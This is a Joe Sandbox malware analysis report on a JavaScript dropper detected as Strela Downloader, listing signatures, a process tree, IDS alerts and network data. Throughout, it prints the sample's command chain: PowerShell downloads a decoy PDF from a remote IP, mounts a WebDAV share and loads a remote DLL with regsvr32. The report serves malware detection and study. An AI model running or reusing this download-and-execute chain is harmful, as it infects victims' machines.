Edit tour

Windows Analysis Report
1505131979137938490.js

Overview

General Information

Sample name:	1505131979137938490.js
Analysis ID:	1588993
MD5:	dac815a20eee368424723efa94a03997
SHA1:	605266413d57bf9125754bffdecc0d1ddeeb77d6
SHA256:	f96496b98e863223ac0980708ab263f70eff4e9bbc1713470ed4e9300cbf228c
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6328 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1505131979137938490.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 320 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 516 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7020 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7076 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7272 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7464 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2076 --field-trial-handle=1768,i,12212045710658597692,11371122633475321480,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6660 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7184 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7340 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6328	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 320, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7020, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 320, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7020, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1505131979137938490.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1505131979137938490.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1505131979137938490.js", ProcessId: 6328, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7184, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49702

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1505131979137938490.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6328, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, ProcessId: 320, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1505131979137938490.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6328, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, ProcessId: 320, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1505131979137938490.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6328, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, ProcessId: 320, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1505131979137938490.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6328, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, ProcessId: 320, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1505131979137938490.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6328, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, ProcessId: 320, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1505131979137938490.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6328, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, ProcessId: 320, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1505131979137938490.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1505131979137938490.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1505131979137938490.js", ProcessId: 6328, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 320, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7020, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6660, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7184, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7340, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6660, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7184, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1505131979137938490.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6328, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll, ProcessId: 320, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:09:00.069474+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.7	49701	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:09:02.352718+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49702	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:09:00.069474+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49701	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1505131979137938490.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1505131979137938490.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.7:49701 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49702 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:08:59 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 